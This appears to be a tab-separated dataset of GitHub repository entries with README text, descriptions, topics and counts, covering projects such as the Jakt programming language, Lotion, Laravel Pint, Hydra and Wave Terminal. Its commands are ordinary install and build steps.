to discuss your use case and learn Jina's new features. - When? The second Tuesday of every month - Where? Zoom ([see our public events calendar](https://calendar.google.com/calendar/embed?src=c_1t5ogfp2d45v8fit981j08mcm4%40group.calendar.google.com&ctz=Europe%2FBerlin)/[.ical](https://calendar.google.com/calendar/ical/c_1t5ogfp2d45v8fit981j08mcm4%40group.calendar.google.com/public/basic.ics)) and [live stream on YouTube](https://youtube.com/c/jina-ai) - Subscribe to the latest video tutorials on our [YouTube channel](https://youtube.com/c/jina-ai) ## Join Us DALL·E Flow is backed by [Jina AI](https://jina.ai) and licensed under [Apache-2.0](./LICENSE). [We are actively hiring](https://jobs.jina.ai) AI engineers, solution engineers to build the next neural search ecosystem in open-source. <!-- end support-pitch -->	🌊 A Human-in-the-Loop workflow for creating HD images from text	dalle,generative-art,human-in-the-loop,jina,neural-search,openai,swinir,dalle-mega,dalle-mini,glid3	0	39	65	216	24	18	0
PaddlePaddle/FastDeploy	README_EN.md	⚡️An Easy-to-use and Fast Deep Learning Model Deployment Toolkit for ☁️Cloud 📱Mobile and 📹Edge. Including Image, Video, Text and Audio 20+ main stream scenarios and 150+ SOTA models with end-to-end optimization, multi-platform and multi-framework support.	android,jetson,tensorrt,onnxruntime,object-detection,yolov5,openvino,picodet,uie,graphcore	10	105	1,343	2,422	384	22	1
leafTheFish/DeathNote	# 自用脚本本仓库脚本仅用于交流学习，请下载后24之内自行删除 # 京东挂机京东车, 支持APP扫二维码登录和手机打开授权登录: https://ark.leafxxx.win	null	null	0	1	5	367	120	1	0
SerenityOS/jakt	# The Jakt programming language Jakt is a memory-safe systems programming language. It currently transpiles to C++. NOTE: The language is under heavy development. NOTE If you're cloning to a Windows PC (not WSL), make sure that your Git client keeps the line endings as `\n`. You can set this as a global config via `git config --global core.autocrlf false`. ## Usage The transpilation to C++ requires `clang`. Make sure you have that installed. ``` jakt file.jakt ./build/file ``` ## Building See [here](documentation/cmake-bootstrap.md). ## Goals 1. Memory safety 2. Code readability 3. Developer productivity 4. Executable performance 5. Fun! ## Memory safety The following strategies are employed to achieve memory safety: - Automatic reference counting - Strong typing - Bounds checking - No raw pointers in safe mode In Jakt, there are three pointer types: - [x] T (Strong pointer to reference-counted class `T`.) - [x] weak T (Weak pointer to reference-counted class `T`. Becomes empty on pointee destruction.) - [x] raw T (Raw pointer to arbitrary type `T`. Only usable in `unsafe` blocks.) Null pointers are not possible in safe mode, but pointers can be wrapped in `Optional`, i.e `Optional<T>` or `T?` for short. ## Math safety - [x] Integer overflow (both signed and unsigned) is a runtime error. - [x] Numeric values are not automatically coerced to `int`. All casts must be explicit. For cases where silent integer overflow is desired, there are explicit functions that provide this functionality. ## Code readability Far more time is spent reading code than writing it. For that reason, Jakt puts a high emphasis on readability. Some of the features that encourage more readable programs: - [x] Immutable by default. - [x] Argument labels in call expressions (`object.function(width: 10, height: 5)`) - [ ] Inferred `enum` scope. (You can say `Foo` instead of `MyEnum::Foo`). - [x] Pattern matching with `match`. - [x] Optional chaining (`foo?.bar?.baz` (fallible) and `foo!.bar!.baz` (infallible)) - [x] None coalescing for optionals (`foo ?? bar` yields `foo` if `foo` has a value, otherwise `bar`) - [x] `defer` statements. - [x] Pointers are always dereferenced with `.` (never `->`) - [x] Trailing closure parameters can be passed outside the call parentheses. - [ ] Error propagation with `ErrorOr<T>` return type and dedicated `try` / `must` keywords. ## Code reuse Jakt is flexible in how a project can be structured with a built-in module system. ```jakt import a // (1) import a { use_cool_things } // (2) import fn() // (3) import relative foo::bar // (4) import relative parent::foo::baz // (5) import relative parent(3)::foo::baz // (6) ``` 1. Import a module from the same directory as the file. 1. Import only `use_cool_things()` from module `a`. 1. Imports can be calculated at compile time. See [Comptime Imports](#comptime-imports) 1. Import a module using the relative keyword when the module is a sub path of the directory containing the file. 1. Import a module in a parent path one directory up from the file. 1. Syntactic sugar for importing a module three parent paths up from the file. ### The Jakt Standard Library Jakt has a Standard Library that is accessed using the `jakt::` namespace: ```jakt import jakt::arguments import jakt::libc::io { system } ``` The Jakt Standard Library is in its infancy, so please consider making a contribution! ## Function calls When calling a function, you must specify the name of each argument as you're passing it: ```jakt rect.set_size(width: 640, height: 480) ``` There are two exceptions to this: - [x] If the parameter in the function declaration is declared as `anon`, omitting the argument label is allowed. - [x] When passing a variable with the same name as the parameter. ## Structures and classes There are two main ways to declare a structure in Jakt: `struct` and `class`. ### `struct` Basic syntax: ```jakt struct Point { x: i64 y: i64 } ``` Structs in Jakt have value semantics: - Variables that contain a struct always have a unique instance of the struct. - Copying a `struct` instance always makes a deep copy. ```jakt let a = Point(x: 10, y: 5) let b = a // "b" is a deep copy of "a", they do not refer to the same Point ``` Jakt generates a default constructor for structs. It takes all fields by name. For the `Point` struct above, it looks like this: ```jakt Point(x: i64, y: i64) ``` Struct members are public by default. ### `class` - [x] basic class support - [x] private-by-default members - [x] inheritance - [ ] class-based polymorphism (assign child instance to things requiring the parent type) - [ ] `Super` type - [ ] `Self` type Same basic syntax as `struct`: ``` class Size { width: i64 height: i64 public fn area(this) => .width * .height } ``` Classes in Jakt have reference semantics: - Copying a `class` instance (aka an "object") copies a reference to the object. - All objects are reference-counted by default. This ensures that objects don't get accessed after being deleted. Class members are private by default. ### Member functions Both structs and classes can have member functions. There are three kinds of member functions: Static member functions don't require an object to call. They have no `this` parameter. ```jakt class Foo { fn func() => println("Hello!") } // Foo::func() can be called without an object. Foo::func() ``` Non-mutating member functions require an object to be called, but cannot mutate the object. The first parameter is `this`. ```jakt class Foo { fn func(this) => println("Hello!") } // Foo::func() can only be called on an instance of Foo. let x = Foo() x.func() ``` Mutating member functions require an object to be called, and may modify the object. The first parameter is `mut this`. ```jakt class Foo { x: i64 fn set(mut this, anon x: i64) { this.x = x } } // Foo::set() can only be called on a mut Foo: mut foo = Foo(x: 3) foo.set(9) ``` ### Shorthand for accessing member variables To reduce repetitive `this.` spam in methods, the shorthand `.foo` expands to `this.foo`. ## Strings Strings are provided in the language mainly as the type `String`, which is a reference-counted (and heap-allocated) string type. String literals are written with double quotes, like `"Hello, world!"`. ### Overloaded string literals String literals are of type `String` by default; however, they can be used to implicitly construct any type that implements the `FromStringLiteral` (or `ThrowingFromStringLiteral`) trait. In the language prelude, currently only `StringView` implements this trait, which can be used only to refer to strings with a static lifetime: ```jakt let foo: StringView = "foo" // This string is not allocated on the heap, and foo is only a fat pointer to the static string. ``` Overloaded string literals can be used by providing a type hint, whether by explicit type annotations, or by passing the literal to a function that expects a specific type: ```jakt struct NotString implements(FromStringLiteral) { fn from_string_literal(anon string: StringView) -> NotString => NotString() } fn test(x: NotString) {} fn main() { let foo: NotString = "foo" test(x: "Some string literal") } ``` ## Arrays Dynamic arrays are provided via a built-in `Array<T>` type. They can grow and shrink at runtime. `Array` is memory safe: - Out-of-bounds will panic the program with a runtime error. - Slices of an `Array` keep the underlying data alive via automatic reference counting. ### Declaring arrays ```jakt // Function that takes an Array<i64> and returns an Array<String> fn foo(numbers: [i64]) -> [String] { ... } ``` ### Shorthand for creating arrays ```jakt // Array<i64> with 256 elements, all initialized to 0. let values = [0; 256] // Array<String> with 3 elements: "foo", "bar" and "baz". let values = ["foo", "bar", "baz"] ``` ## Dictionaries - [x] Creating dictionaries - [x] Indexing dictionaries - [x] Assigning into indexes (aka lvalue) ```jakt fn main() { let dict = ["a": 1, "b": 2] println("{}", dict["a"]) } ``` ### Declaring dictionaries ```jakt // Function that takes a Dictionary<i64, String> and returns an Dictionary<String, bool> fn foo(numbers: [i64:String]) -> [String:bool] { ... } ``` ### Shorthand for creating dictionaries ```jakt // Dictionary<String, i64> with 3 entries. let values = ["foo": 500, "bar": 600, "baz": 700] ``` ## Sets - [x] Creating sets - [x] Reference semantics ```jakt fn main() { let set = {1, 2, 3} println("{}", set.contains(1)) println("{}", set.contains(5)) } ``` ## Tuples - [x] Creating tuples - [x] Index tuples - [x] Tuple types ``` fn main() { let x = ("a", 2, true) println("{}", x.1) } ``` ## Enums and Pattern Matching - [x] Enums as sum-types - [x] Generic enums - [x] Enums as names for values of an underlying type - [x] `match` expressions - [x] Enum scope inference in `match` arms - [x] Yielding values from match blocks - [ ] Nested `match` patterns - [ ] Traits as `match` patterns - [ ] Support for interop with the `?`, `??` and `!` operators ```jakt enum MyOptional<T> { Some(T) None } fn value_or_default<T>(anon x: MyOptional<T>, default: T) -> T { return match x { Some(value) => { let stuff = maybe_do_stuff_with(value) let more_stuff = stuff.do_some_more_processing() yield more_stuff } None => default } } enum Foo { StructLikeThingy ( field_a: i32 field_b: i32 ) } fn look_at_foo(anon x: Foo) -> i32 { match x { StructLikeThingy(field_a: a, field_b) => { return a + field_b } } } enum AlertDescription: i8 { CloseNotify = 0 UnexpectedMessage = 10 BadRecordMAC = 20 // etc } // Use in match: fn do_nothing_in_particular() => match AlertDescription::CloseNotify { CloseNotify => { ... } UnexpectedMessage => { ... } BadRecordMAC => { ... } } ``` ## Generics - [x] Generic types - [x] Constant generics (minimal support) - [ ] Constant generics (full support) - [x] Generic type inference - [x] Traits Jakt supports both generic structures and generic functions. ```jakt fn id<T>(anon x: T) -> T { return x } fn main() { let y = id(3) println("{}", y + 1000) } ``` ```jakt struct Foo<T> { x: T } fn main() { let f = Foo(x: 100) println("{}", f.x) } ``` ```jakt struct MyArray<T, comptime U> { // NOTE: There is currently no way to access the value 'U', referring to 'U' is only valid as the type at the moment. data: [T] } ``` ## Namespaces - [x] Namespace support for functions and struct/class/enum - [ ] Deep namespace support ``` namespace Greeters { fn greet() { println("Well, hello friends") } } fn main() { Greeters::greet() } ``` ## Type casts There are two built-in casting operators in Jakt. - `as? T`: Returns an `Optional<T>`, empty if the source value isn't convertible to `T`. - `as! T`: Returns a `T`, aborts the program if the source value isn't convertible to `T`. The `as` cast can do these things (note that the implementation may not agree yet): - Casts to the same type are infallible and pointless, so might be forbidden in the future. - If the source type is _unknown_, the cast is valid as a type assertion. - If both types are primitive, a safe conversion is done. - Integer casts will fail if the value is out of range. This means that promotion casts like i32 -> i64 are infallible. - Float -> Integer casts truncate the decimal point (?) - Integer -> Float casts resolve to the closest value to the integer representable by the floating-point type (?). If the integer value is too large, they resolve to infinity (?) - Any primitive -> bool will create `true` for any value except 0, which is `false`. - bool -> any primitive will do `false -> 0` and `true -> 1`, even for floats. - If the types are two different pointer types (see above), the cast is essentially a no-op. A cast to `T` will increment the reference count as expected; that's the preferred way of creating a strong reference from a weak reference. A cast from and to `raw T` is unsafe. - If the types are part of the same type hierarchy (i.e. one is a child type of another): - A child can be cast to its parent infallibly. - A parent can be cast to a child, but this will check the type at runtime and fail if the object was not of the child type or one of its subtypes. - If the types are incompatible, a user-defined cast is attempted to be used. The details here are not decided yet. - If nothing works, the cast will not even compile. Additional casts are available in the standard library. Two important ones are `as_saturated` and `as_truncated`, which cast integral values while saturating to the boundaries or truncating bits, respectively. ## Traits To make generics a bit more powerful and expressive, you can add additional information to them: ```jakt trait Hashable<Output> { fn hash(self) -> Output } class Foo implements(Hashable<i64>) { fn hash(self) => 42 } ``` Traits can be used to add constraints to generic types, but also provide default implementations based on a minimal set of requirements - for instance: ```jakt trait Fancy { fn do_something(this) -> void fn do_something_twice(this) -> void { .do_something() .do_something() } } struct Boring implements(Fancy) { fn do_something(this) -> void { println("I'm so boring") } // Note that we don't have to implement `do_something_twice` here, because it has a default implementation. } struct Better implements(Fancy) { fn do_something(this) -> void { println("I'm not boring") } // However, a custom implementation is still valid. fn do_something_twice(this) -> void { println("I'm not boring, but I'm doing it twice") } } ``` Traits can have methods that reference other traits as types, which can be used to describe a hierarchy of traits: ```jakt trait ConstIterable<T> { fn next(this) -> T? } trait IntoIterator<T> { // Note how the return type is a reference to the ConstIterable trait (and not a concrete type) fn iterator(this) -> ConstIterable<T> } ``` ### Operator Overloading and Traits Operators are implemented as traits, and can be overloaded by implementing them on a given type: ```jakt struct Foo implements(Add<Foo, Foo>) { x: i32 fn add(this, anon rhs: Foo) -> Foo { return Foo(x: .x + other.x) } } ``` The relationship between operators and traits is as follows (Note that `@` is used as a placeholder for any binary operator's name or sigil): \| Operator \| Trait \| Method Name \| Derived From Method \| \|----------\|-------\|-------------\|---------------------\| \| `+` \| `Add` \| `add` \| - \| \| `-` \| `Subtract` \| `subtract` \| - \| \| `` \| `Multiply` \| `multiply` \| - \| \| `/` \| `Divide` \| `divide` \| - \| \| `%` \| `Modulo` \| `modulo` \| - \| \| `<` \| `Compare` \| `less_than` \| `compare` \| \| `>` \| `Compare` \| `greater_than` \| `compare` \| \| `<=` \| `Compare` \| `less_than_or_equal` \| `compare` \| \| `>=` \| `Compare` \| `greater_than_or_equal` \| `compare` \| \| `==` \| `Equal` \| `equals` \| - \| \| `!=` \| `Equal` \| `not_equals` \| `equals` \| \| `@=` \| `@Assignment` \| `@_assign` \| - \| Other operators have not yet been converted to traits, decided on, or implemented: \| Operator \| Description \| Status \| \|----------\|-------------\|--------\| \| `&` \| Bitwise And \| Not Decided \| \| `\\|` \| Bitwise Or \| Not Decided \| \| `^` \| Bitwise Xor \| Not Decided \| \| `~` \| Bitwise Not \| Not Decided \| \| `<<` \| Bitwise Shift Left \| Not Decided \| \| `>>` \| Bitwise Shift Right \| Not Decided \| \| `and` \| Logical And \| Not Decided \| \| `or` \| Logical Or \| Not Decided \| \| `not` \| Logical Not \| Not Decided \| \| `=` \| Assignment \| Not Decided \| ## Safety analysis (Not yet implemented)* To keep things safe, there are a few kinds of analysis we'd like to do (non-exhaustive): * Preventing overlapping of method calls that would collide with each other. For example, creating an iterator over a container, and while that's live, resizing the container * Using and manipulating raw pointers * Calling out to C code that may have side effects ## Error handling Functions that can fail with an error instead of returning normally are marked with the `throws` keyword: ```jakt fn task_that_might_fail() throws -> usize { if problem { throw Error::from_errno(EPROBLEM) } ... return result } fn task_that_cannot_fail() -> usize { ... return result } ``` Unlike languages like C++ and Java, errors don't unwind the call stack automatically. Instead, they bubble up to the nearest caller. If nothing else is specified, calling a function that `throws` from within a function that `throws` will implicitly bubble errors. ### Syntax for catching errors If you want to catch errors locally instead of letting them bubble up to the caller, use a `try`/`catch` construct like this: ```jakt try { task_that_might_fail() } catch error { println("Caught error: {}", error) } ``` There's also a shorter form: ```jakt try task_that_might_fail() catch error { println("Caught error: {}", error) } ``` ### Rethrowing errors (Not yet implemented) ## Inline C++ For better interoperability with existing C++ code, as well as situations where the capabilities of Jakt within `unsafe` blocks are not powerful enough, the possibility of embedding inline C++ code into the program exists in the form of `cpp` blocks: ```jakt mut x = 0 unsafe { cpp { "x = (i64)&x;" } } println("{}", x) ``` ## References Values and objects can be passed by reference in some situations where it's provably safe to do so. A reference is either immutable (default) or mutable. ### Reference type syntax - `&T` is an immutable reference to a value of type `T`. - `&mut T` is a mutable reference to a value of type `T`. ### Reference expression syntax - `&foo` creates an immutable reference to the variable `foo`. - `&mut foo` creates a mutable reference to the variable `foo`. ### Dereferencing a reference To "get the value out" of a reference, it must be dereferenced using the `` operator, however the compiler will automatically dereference references if the dereferencing is the single unambiguous correct use of the reference (in practice, manual dereferencing is only required where the reference is being stored or passed to functions). ```jakt fn sum(a: &i64, b: &i64) -> i64 { return a + b // Or with manual dereferencing: return a + b } fn test() { let a = 1 let b = 2 let c = sum(&a, &b) } ``` For mutable references to structs, you'll need to wrap the dereference in parentheses in order to do a field access: ```jakt struct Foo { x: i64 } fn zero_out(foo: &mut Foo) { foo.x = 0 // Or with manual dereferencing: (foo).x = 0 } ``` ### References (first version) feature list: - [x] Reference types - [x] Reference function parameters - [x] Local reference variables with basic lifetime analysis - [x] No references in structs - [x] No references in return types - [x] No mutable references to immutable values - [x] Allow `&foo` and `&mut foo` without argument label for parameters named `foo` - [x] Auto-dereference references where applicable ### References TODO: - [ ] (`unsafe`) references and raw pointers bidirectionally convertible - [ ] No capture-by-reference in persistent closures ### Closures (first version) feature list: - [x] Function as parameter to function - [x] Functions as variables - [x] No returning functions from functions - [x] Lambdas can throw - [x] Explicit captures ### Closures TODO: - [ ] Return function from function ## Compiletime Execution Compiletime Function Execution (or CTFE) in Jakt allows the execution of any jakt function at compiletime, provided that the result value may be synthesized using its fields - currently this only disallows a few prelude objects that cannot be constructed by their fields (like Iterator objects and StringBuilders). Any regular Jakt function can be turned into a compiletime function by replacing the `function` keyword in its declaration with the `comptime` keyword, which will force all calls to that specific function to be evaluated at compile time. ### Invocation Restrictions Comptime functions may only be invoked by constant expressions; this restriction includes the `this` object of methods. ### Throwing in a comptime context Throwing behaves the same way as normal error control flow does, if the error leaves the comptime context (by reaching the original callsite), it will be promoted to a compilation error. ### Side effects Currently all prelude functions with side effects behave the same as they would in runtime. This allows e.g. pulling in files into the binary; some functions may be changed later to perform more useful actions. ## Comptime imports It is possible to design custom import handling based on data available at compile time. An excellent example of this in the Jakt compiler is the [Platform Module](https://github.com/SerenityOS/jakt/blob/main/selfhost/os.jakt#L41). See a smaller example in the [comptime imports sample](https://github.com/SerenityOS/jakt/blob/main/samples/modules/comptime_imports.jakt). ### Comptime TODO - [ ] Implement execution of all Jakt expressions	The Jakt Programming Language	programming-language,jakt,serenityos	0	137	1,311	2,673	53	1	4
Gioman101/FlipperAmiibo	# FlipperAmiibo A collection of FlipperZero NFC files that emulate Amiibo ## Installation 1. [Download](https://github.com/Gioman101/FlipperAmiibo/archive/refs/heads/main.zip) this repository as an archive 1. Extract the archive into the `nfc` directory on your Flipper's SD card.	Made to be used with Flipper just drag the folder into NFC	null	0	15	25	64	6	1	0
Dashibase/lotion	<h1 align="center"><b>🧴 Lotion</b></h1> <p align="center"> An open-source Notion UI built with Vue 3. </p> <p align="center"> <a href="https://lotion.dashibase.com" target="_blank">Try demo</a> </p> <p align="center"> <a href="https://twitter.com/intent/follow?screen_name=dashibase"> <img src="https://img.shields.io/twitter/follow/dashibase?style=social&logo=twitter" alt="follow on Twitter"> </a> <a href="https://discord.gg/HjJCwm5"> <img src="https://img.shields.io/discord/995844576013201449?logo=discord&logoColor=b0b7ff&color=5865f2" alt="chat on Discord"> </a> <img src="https://img.shields.io/github/license/dashibase/lotion?color=green" /> <a href="https://www.npmjs.com/package/@dashibase/lotion"> <img src="https://img.shields.io/npm/v/@dashibase/lotion" /> </a> <br /> </p> > We shared about Lotion and recreating the Notion UI during [CityJS Singapore's pre-conference meetup on 27th July](https://twitter.com/dashibase/status/1554070309224861696?s=20&t=f9pkIgoxYUCgAL5tRTxK4Q)! <p align="center"> <img src="https://github.com/Dashibase/lotion/blob/main/assets/lotion.png" style="border-radius: 10px;" /> </p> ## Features - [x] Block-based editor - [x] Drag to reorder blocks - [x] Basic Markdown-parsing including bold, italic, headings and divider - [x] Type '/' for command menu and shortcuts - [x] Register your own blocks - [x] Read-only mode ## Getting Started 1. Install package ```bash npm i @dashibase/lotion ``` 2. Basic Lotion editor The following Vue component will initialize a basic Lotion editor. ```javascript <template> <Lotion :page="page" /> </template> <script setup lang="ts"> import { ref } from 'vue' import { v4 as uuidv4 } from 'uuid' import { Lotion, registerBlock } from '@dashibase/lotion' const page = ref({ name: '🧴 Lotion', blocks:[{ id: uuidv4(), type: 'TEXT', details: { value: 'Hello, World!' }, }], }) </script> ``` 3. Create custom components See `examples/CustomBlock.vue` for an example of a custom block. The custom block component can accept the following props: - `block`: A `Block` object. See `src/utils/types.ts` for details. - `readonly`: A boolean, which sets whether the block/editor is in read-only mode. The custom block component can also optionally expose the following methods (remember to call `defineExpose`): - `onSet`: This is triggered when a user converts any block into this blocktype. It is called before the blocktype is changed. - `onUnset`: This is triggered when a user converts this block into any blocktype. It is called before the blocktype is changed. ```javascript <template> <div> 🧴 </div> </template> <script setup lang="ts"> import { PropType } from 'vue' import { types } from '../src' const props = defineProps({ block: { type: Object as PropType<types.Block>, required: true, }, readonly: { type: Boolean, default: false, }, }) function onSet () { alert('Moisturizing...') } function onUnset () { alert('Moisturized!') } defineExpose({ onSet, onUnset, }) </script> ``` 4. Register custom components See `examples/Example.vue` for an example of registering a custom block. After creating the custom component, register it as follows: ```javascript import CustomBlock from './CustomBlock.vue' import { addIcons } from "oh-vue-icons" import { FaPumpSoap } from "oh-vue-icons/icons" import { registerBlock } from '@dashibase/lotion' // Add the icon (from oh-vue-icons.js.org/) addIcons(FaPumpSoap) // Register the block // registerBlock('<BLOCK_TYPE_ID>', '<BLOCK_TYPE_LABEL>', <BLOCK_COMPONENT>, 'BLOCK_ICON') registerBlock('LOTION', 'Moisturize', CustomBlock, 'fa-pump-soap') </script> ``` After that, you should be able to see the custom block when the user opens the menu to switch to different blocks. ## Contributing 1. Clone this repository, go to the root directory and install packages ```bash git clone https://github.com/dashibase/lotion cd lotion npm i ``` 2. Run dev ```bash npm run dev ``` If you head to http://localhost:5173 on your browser, you should see what looks like the screenshot above. 3. Contribute! Lotion is quite limited for now but we hope it serves as a good starting point for other folks looking to build their own editors. We would love to make Lotion more extensible and welcome any suggestions or contributions! See CONTRIBUTING.md for details. ## Acknowledgements This was made much easier with the following libraries and frameworks, thank you! - [vue-draggable-next](https://github.com/anish2690/vue-draggable-next) - [tiptap](https://tiptap.dev/) and [ProseMirror](https://prosemirror.net/) - [Vue 3](https://vuejs.org/) - [Vite](https://vitejs.dev/) - [TypeScript](https://www.typescriptlang.org/) - [Tailwind CSS](https://tailwindcss.com/) - [Headless UI](https://headlessui.dev/) - [Oh, Vue Icons!](https://oh-vue-icons.js.org/) - [Vitest](https://vitest.dev/) - [Playwright](https://playwright.dev/)	An open-source Notion UI built with Vue 3	editorjs,notion,markdown,vue,hacktoberfest	5	10	44	179	16	4	4
laravel/pint	<p align="center"><img src="/art/logo.svg" width="50%" alt="Logo Laravel Pint"></p> <p align="center"> <img src="/art/overview.png" alt="Overview Laravel Pint" style="width:70%;"> </p> <p align="center"> <a href="https://github.com/laravel/pint/actions"><img src="https://github.com/laravel/pint/workflows/tests/badge.svg" alt="Build Status"></a> <a href="https://packagist.org/packages/laravel/pint"><img src="https://img.shields.io/packagist/dt/laravel/pint" alt="Total Downloads"></a> <a href="https://packagist.org/packages/laravel/pint"><img src="https://img.shields.io/packagist/v/laravel/pint" alt="Latest Stable Version"></a> <a href="https://packagist.org/packages/laravel/pint"><img src="https://img.shields.io/packagist/l/laravel/pint" alt="License"></a> </p> <a name="introduction"></a> ## Introduction Laravel Pint is an opinionated PHP code style fixer for minimalists. Pint is built on top of [PHP-CS-Fixer](https://github.com/FriendsOfPHP/PHP-CS-Fixer) and makes it simple to ensure that your code style stays clean and consistent. ## Official Documentation Documentation for Pint can be found on the [Laravel website](https://laravel.com/docs/pint). <a name="contributing"></a> ## Contributing Thank you for considering contributing to Pint! You can read the contribution guide [here](.github/CONTRIBUTING.md). <a name="code-of-conduct"></a> ## Code of Conduct In order to ensure that the Laravel community is welcoming to all, please review and abide by the [Code of Conduct](https://laravel.com/docs/contributions#code-of-conduct). <a name="security-vulnerabilities"></a> ## Security Vulnerabilities Please review [our security policy](https://github.com/laravel/pint/security/policy) on how to report security vulnerabilities. <a name="license"></a> ## License Pint is open-sourced software licensed under the [MIT license](LICENSE.md).	Laravel Pint is an opinionated PHP code style fixer for minimalists.	php,format,formatter,lint,linter	56	52	130	472	1	2	5
hydradatabase/hydra	[![Hydra - the open source data warehouse](https://raw.githubusercontent.com/hydradatabase/hydra/main/.images/header.png)](https://hydra.so) # 🐘🤘 Hydra Hydra is open source, column-oriented Postgres. You can query billions of rows instantly on Postgres without code changes. Parallelized analytics in minutes, not weeks. ## 🚀 Quick start Try the [Hydra Free Tier](https://dashboard.hydra.so/signup) to create a column-oriented Postgres instance. Then connect to it with your preferred Postgres client (psql, dbeaver, etc). Alternatively, you can run Hydra [locally](#run-locally). ## 💪 Benchmarks - fastest Postgres aggregates on earth Benchmarks were run on a c6a.4xlarge (16 vCPU, 32 GB RAM) with 500 GB of GP2 storage. Results in seconds, smaller is better. ![Hydra - the open source data warehouse](https://raw.githubusercontent.com/hydradatabase/hydra/main/.images/ReadmeBenchmarks.png) [Review Clickbench](https://tinyurl.com/clickbench) for comprehensive results and the list of 42 queries tested. This benchmark represents typical workload in the following areas: clickstream and traffic analysis, web analytics, machine-generated data, structured logs, and events data. ![Hydra - the open source data warehouse](https://raw.githubusercontent.com/hydradatabase/hydra/main/.images/FasterthanPG.png) ### For our continuous benchmark results, see [BENCHMARKS](https://github.com/hydradatabase/hydra/blob/main/BENCHMARKS.md). ## 🙋 FAQs View complete answers in [our documentation](https://docs.hydra.so/concepts/faqs). ### Q: Why is Hydra so fast? A: Columnar storage, query parallelization, vectorized execution, column-level caching, and tuning Postgres. ### Q: How do I start using the columnar format on Postgres? A: Data is loaded into columnar format by default. Use Postgres normally. ### Q: What operations is Hydra meant for? Provide examples. A: Aggregates (COUNT, SUM, AVG), WHERE clauses, bulk INSERTS, UPDATE, DELETE… ### Q: What is columnar not meant for? A: Frequent large updates, small transactions… ### Q: What Postgres features are unsupported on columnar? * Logical replication. * Columnar tables don’t typically use indexes, only supporting btree and hash indexes, and their associated constraints. ### Q: Is Hydra a fork? A: Hydra is a Postgres extension, not a fork. Hydra makes use of `tableam` (table access method API), which was added in Postgres 12 released in 2019. ## 🤝 Community and Status - [x] Alpha: Limited to select design partners - [x] Public Alpha: available for use, but with noted frictions - [x] Hydra 1.0 beta: Stable for non-enterprise use cases - [x] Hydra 1.0 Release: Generally Available (GA) and ready for production use ## :technologist: Developer resources - [CHANGELOG](https://github.com/hydradatabase/hydra/blob/main/CHANGELOG.md) for details of recent changes - [GitHub Issues](https://github.com/hydradatabase/hydra/issues) for bugs and missing features - [Discord](https://hydra.so/discord) discussion with the Community and Hydra team - [Docs](https://docs.hydra.so/) for Hydra features and warehouse ops ## 💻 Run locally The Hydra [Docker image](https://github.com/hydradatabase/hydra/pkgs/container/hydra) is a drop-in replacement for [postgres Docker image](https://hub.docker.com/_/postgres). You can try out Hydra locally using [docker-compose](https://docs.docker.com/compose/). ```bash git clone https://github.com/hydradatabase/hydra && cd hydra cp .env.example .env docker compose up psql postgres://postgres:hydra@127.0.0.1:5432 ``` ## 📝 License Hydra is only possible by building on the shoulders of giants. The code in this repo is licensed under: - [AGPL 3.0](https://github.com/hydradatabase/hydra/tree/main/columnar/LICENSE) for [Hydra Columnar](https://github.com/hydradatabase/hydra/tree/main/columnar) - All other code is [Apache 2.0](https://github.com/hydradatabase/hydra/blob/main/LICENSE) The docker image is built on the [Postgres docker image](https://hub.docker.com/_/postgres/), which contains a large number of open source projects, including: - Postgres - [the Postgres license](https://www.postgresql.org/about/licence/) - Debian or Alpine Linux image, depending on the image used - Hydra includes the following additional software in the image: - multicorn - BSD license - mysql_fdw - MIT-style license - parquet_s3_fdw - MIT-style license - pgsql-http - MIT license As for any pre-built image usage, it is the image user's responsibility to ensure that any use of this image complies with any relevant licenses for all software contained within.	Hydra: Column-oriented Postgres. Add scalable analytics to your project in minutes.	data-warehouse,datawarehouse,postgres,postgresql,postgresql-extension	9	15	171	354	17	5	3
wavetermdev/waveterm	<p align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="./assets/waveterm-logo-horizontal-dark.png"> <source media="(prefers-color-scheme: light)" srcset="./assets/waveterm-logo-horizontal-light.png"> <img alt="Wave Terminal Logo" src="./assets/waveterm-logo-horizontal-light.png" width="240" height="80" style="max-width: 100%;"> </picture> <br/> </p> # Wave Terminal [![FOSSA Status](https://app.fossa.com/api/projects/git%2Bgithub.com%2Fwavetermdev%2Fwaveterm.svg?type=shield)](https://app.fossa.com/projects/git%2Bgithub.com%2Fwavetermdev%2Fwaveterm?ref=badge_shield) Wave is an open-source AI-native terminal built for seamless workflows. Wave isn't just another terminal emulator; it's a rethink on how terminals are built. Wave combines command line with the power of the open web to help veteran CLI users and new developers alike. - Inline renderers to cut down on context switching. Render code, images, markdown, and CSV files without ever leaving the terminal. - Persistent sessions that can restore state across network disconnections and reboots - Searchable contextual command history across all remote sessions (saved locally) - Workspaces, tabs, and command blocks to keep you organized - CodeEdit, to edit local and remote files with a VSCode-like inline editor - AI Integration with ChatGPT (or ChatGPT compatible APIs) to help write commands and get answers inline ![WaveTerm Screenshot](./assets/wave-screenshot.png) ## Installation Wave Terminal works with MacOS and Linux. Install Wave Terminal from: [www.waveterm.dev/download](https://www.waveterm.dev/download) Also available as a homebrew cask for MacOS: ``` brew install --cask wave ``` ## Links - Homepage — https://www.waveterm.dev - Download Page — https://www.waveterm.dev/download - Documentation — https://docs.waveterm.dev/ - Blog — https://blog.waveterm.dev/ - Quick Start Guide — https://docs.waveterm.dev/quickstart/ - Discord Community — https://discord.gg/XfvZ334gwU ## Building from Source - [MacOS Build Instructions](./BUILD.md) - [Linux Build Instructions](./build-linux.md) ## Contributing Wave uses Github Issues for issue tracking. Find more information in our [Contributions Guide](CONTRIBUTING.md), which includes: - [Ways to contribute](CONTRIBUTING.md#contributing-to-wave-terminal) - [Contribution guidelines](CONTRIBUTING.md#before-you-start) ## License Wave Terminal is licensed under the Apache-2.0 License. For more information on our dependencies, see [here](./acknowledgements/README.md).	An open-source, cross-platform terminal for seamless workflows	command-line,developer-tools,linux,macos	17	18	518	1,710	81	157	3
